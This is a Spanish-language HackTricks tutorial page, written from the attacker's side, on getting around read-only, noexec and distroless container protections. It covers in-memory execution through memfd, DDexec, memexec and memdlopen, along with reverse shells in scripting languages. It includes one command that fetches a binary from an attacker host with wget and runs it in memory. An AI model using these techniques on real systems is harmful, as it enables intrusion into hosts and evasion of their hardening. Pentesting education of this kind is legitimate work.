hacktricks/linux-hardening/bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless
2023-09-20 23:21:52 +00:00
..
ddexec.md Translated ['linux-hardening/bypass-bash-restrictions/bypass-fs-protecti 2023-08-23 12:46:20 +00:00
README.md Translated ['linux-hardening/bypass-bash-restrictions/bypass-fs-protecti 2023-09-20 23:21:52 +00:00

Bypass de protecciones del sistema de archivos: solo lectura / sin ejecución / Distroless

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Videos

En los siguientes videos puedes encontrar las técnicas mencionadas en esta página explicadas con más detalle:

Escenario de solo lectura / sin ejecución

Cada vez es más común encontrar máquinas Linux montadas con protección de sistema de archivos de solo lectura (ro), especialmente en contenedores. Esto se debe a que ejecutar un contenedor con sistema de archivos de solo lectura es tan fácil como establecer readOnlyRootFilesystem: true en el securitycontext:

apiVersion: v1
kind: Pod
metadata:
name: alpine-pod
spec:
containers:
- name: alpine
image: alpine
securityContext:
      readOnlyRootFilesystem: true
    command: ["sh", "-c", "while true; do sleep 1000; done"]

Sin embargo, incluso si el sistema de archivos está montado como solo lectura, /dev/shm seguirá siendo escribible, por lo que es falso que no podamos escribir nada en el disco. Sin embargo, esta carpeta estará montada con protección sin ejecución, por lo que si descargas un binario aquí, no podrás ejecutarlo.

{% hint style="warning" %} Desde la perspectiva de un equipo de red, esto complica la descarga y ejecución de binarios que no están en el sistema (como puertas traseras o enumeradores como kubectl). {% endhint %}

Bypass más fácil: Scripts

Ten en cuenta que mencioné binarios, puedes ejecutar cualquier script siempre que el intérprete esté dentro de la máquina, como un script de shell si está presente sh o un script de Python si está instalado python.

Sin embargo, esto no es suficiente para ejecutar tu puerta trasera binaria u otras herramientas binarias que puedas necesitar ejecutar.

Bypasses de memoria

Si quieres ejecutar un binario pero el sistema de archivos no lo permite, la mejor manera de hacerlo es ejecutándolo desde la memoria, ya que las protecciones no se aplican allí.

Bypass de FD + exec syscall

Si tienes motores de script potentes dentro de la máquina, como Python, Perl o Ruby, puedes descargar el binario para ejecutarlo desde la memoria, almacenarlo en un descriptor de archivo de memoria (create_memfd syscall), que no estará protegido por esas protecciones, y luego llamar a una syscall exec indicando el fd como el archivo a ejecutar.

Para esto, puedes usar fácilmente el proyecto fileless-elf-exec. Puedes pasarle un binario y generará un script en el lenguaje indicado con el binario comprimido y codificado en base64 con las instrucciones para decodificar y descomprimirlo en un fd creado llamando a la syscall create_memfd y una llamada a la syscall exec para ejecutarlo.

{% hint style="warning" %} Esto no funciona en otros lenguajes de script como PHP o Node porque no tienen una forma predeterminada de llamar syscalls en bruto desde un script, por lo que no es posible llamar a create_memfd para crear el fd de memoria para almacenar el binario.

Además, crear un fd regular con un archivo en /dev/shm no funcionará, ya que no se te permitirá ejecutarlo debido a la protección sin ejecución que se aplicará. {% endhint %}

DDexec / EverythingExec

DDexec / EverythingExec es una técnica que te permite modificar la memoria de tu propio proceso sobrescribiendo su /proc/self/mem.

Por lo tanto, controlando el código ensamblador que se está ejecutando en el proceso, puedes escribir un shellcode y "mutar" el proceso para ejecutar cualquier código arbitrario.

{% hint style="success" %} DDexec / EverythingExec te permitirá cargar y ejecutar tu propio shellcode o cualquier binario desde la memoria. {% endhint %}

# Basic example
wget -O- https://attacker.com/binary.elf | base64 -w0 | bash ddexec.sh argv0 foo bar

Para obtener más información sobre esta técnica, consulta el Github o:

{% content-ref url="ddexec.md" %} ddexec.md {% endcontent-ref %}

MemExec

Memexec es el siguiente paso natural de DDexec. Es un demonio de shellcode DDexec, por lo que cada vez que desees ejecutar un binario diferente, no necesitas volver a lanzar DDexec, simplemente puedes ejecutar el shellcode de memexec a través de la técnica DDexec y luego comunicarte con este demonio para pasar nuevos binarios para cargar y ejecutar.

Puedes encontrar un ejemplo de cómo usar memexec para ejecutar binarios desde un shell inverso de PHP en https://github.com/arget13/memexec/blob/main/a.php.

Memdlopen

Con un propósito similar a DDexec, la técnica de memdlopen permite una forma más fácil de cargar binarios en memoria para luego ejecutarlos. Incluso podría permitir cargar binarios con dependencias.

Bypass de Distroless

¿Qué es distroless?

Los contenedores distroless contienen solo los componentes mínimos necesarios para ejecutar una aplicación o servicio específico, como bibliotecas y dependencias de tiempo de ejecución, pero excluyen componentes más grandes como un gestor de paquetes, shell o utilidades del sistema.

El objetivo de los contenedores distroless es reducir la superficie de ataque de los contenedores eliminando componentes innecesarios y minimizando la cantidad de vulnerabilidades que se pueden explotar.

Shell inverso

En un contenedor distroless, es posible que ni siquiera encuentres sh o bash para obtener una shell regular. Tampoco encontrarás binarios como ls, whoami, id... todo lo que normalmente ejecutas en un sistema.

{% hint style="warning" %} Por lo tanto, no podrás obtener una shell inversa o enumerar el sistema como lo haces habitualmente. {% endhint %}

Sin embargo, si el contenedor comprometido está ejecutando, por ejemplo, una aplicación web Flask, entonces Python está instalado y, por lo tanto, puedes obtener una shell inversa de Python. Si está ejecutando Node, puedes obtener una shell inversa de Node, y lo mismo con casi cualquier lenguaje de script.

{% hint style="success" %} Usando el lenguaje de script, podrías enumerar el sistema utilizando las capacidades del lenguaje. {% endhint %}

Si no hay protecciones de solo lectura/sin ejecución, podrías abusar de tu shell inversa para escribir en el sistema de archivos tus binarios y ejecutarlos.

{% hint style="success" %} Sin embargo, en este tipo de contenedores, estas protecciones generalmente existirán, pero podrías usar las técnicas de ejecución en memoria anteriores para evadirlas. {% endhint %}

Puedes encontrar ejemplos de cómo explotar algunas vulnerabilidades de RCE para obtener shells inversas de lenguajes de script y ejecutar binarios desde la memoria en https://github.com/carlospolop/DistrolessRCE.

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥